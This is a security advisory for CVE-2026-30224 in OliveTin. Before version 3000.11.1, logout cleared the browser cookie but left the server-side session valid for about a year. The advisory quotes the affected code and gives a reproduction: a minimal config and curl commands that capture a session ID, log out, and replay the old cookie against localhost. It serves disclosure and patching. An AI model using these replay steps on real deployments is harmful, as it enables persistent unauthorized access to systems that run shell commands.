OliveTin Session Fixation: Logout Fails to Invalidate Server-Side Session in github.com/OliveTin/OliveTin

Open Source Vulnerabilities CVE-2026-30224

OliveTin gives access to predefined shell commands from a web interface. Prior to version 3000.11.1, OliveTin does not revoke server-side sessions when a user logs out. Although the browser cookie is cleared, the corresponding session remains valid in server storage until expiry (default ≈ 1 year). An attacker with a previously stolen or captured session cookie can continue authenticating after logout, resulting in a post-logout authentication bypass. This is a session management flaw that violates expected logout semantics. This issue has been patched in version 3000.11.1.

### Summary OliveTin does not revoke server-side sessions when a user logs out. Although the browser cookie is cleared, the corresponding session remains valid in server storage until expiry (default ≈ 1 year). An attacker with a previously stolen or captured session cookie can continue authenticating after logout, resulting in a post-logout authentication bypass. This is a session management flaw that violates expected logout semantics. ### Details During logout: ``` // Logout only clears browser cookie response.Header().Set("Set-Cookie", localCookie.String()) ``` However, the server still accepts the session: ``` session := sessionStorage.Providers[provider].Sessions[sid] ... return session ``` The SID is not deleted from sessionStorage. Why vulnerable: Logout does not remove the SID from sessionStorage; old cookie is still accepted until expiry (~1 year). File: [api.go](app://-/index.html?hostId=local#), [sessions.go](app://-/index.html?hostId=local#), [local.go](app://-/index.html?hostId=local#) Lines: api.go:392-427; sessions.go:39-59, 61-80; local.go:32-47 Behavior - Login → receive SID cookie - Logout → cookie cleared client-side - Replay old SID manually → still authenticated Expected: - Logout invalidates session immediately Actual: - Old SID remains usable until expiry ### PoC Minimal config ``` listenAddressSingleHTTPFrontend: 0.0.0.0:16642 authRequireGuestsToLogin: true authLocalUsers: enabled: true users: - username: low usergroup: users password: "$argon2id$..." actions: - title: Dummy id: dummy shell: "echo dummy" ``` ### Reproduction Login and capture SID: ``` LOGIN=$(curl -i -X POST http://localhost:16642/api/LocalUserLogin \ -H 'Content-Type: application/json' \ -d '{"username":"low","password":"lowpass"}') SID=$(printf '%s\n' "$LOGIN" | awk -F'[=;]' '/olivetin-sid-local/{print $2}') ``` Works before logout: ``` curl -X POST http://localhost:16642/api/WhoAmI \ -H "Cookie: olivetin-sid-local=$SID" ``` Logout: ``` curl -X POST http://localhost:16642/api/Logout \ -H "Cookie: olivetin-sid-local=$SID" ``` Replay old cookie: ``` curl -X POST http://localhost:16642/api/WhoAmI \ -H "Cookie: olivetin-sid-local=$SID" ``` Result User is still authenticated after logout. ### Impact Type: Session Management Flaw - Logout Bypass - Session Replay Risk: - Stolen cookies remain valid - Persistent unauthorized access - Users falsely believe logout ended the session Attack scenarios: - Shared computers - XSS/session theft - Proxy logs - Malware/browser compromise
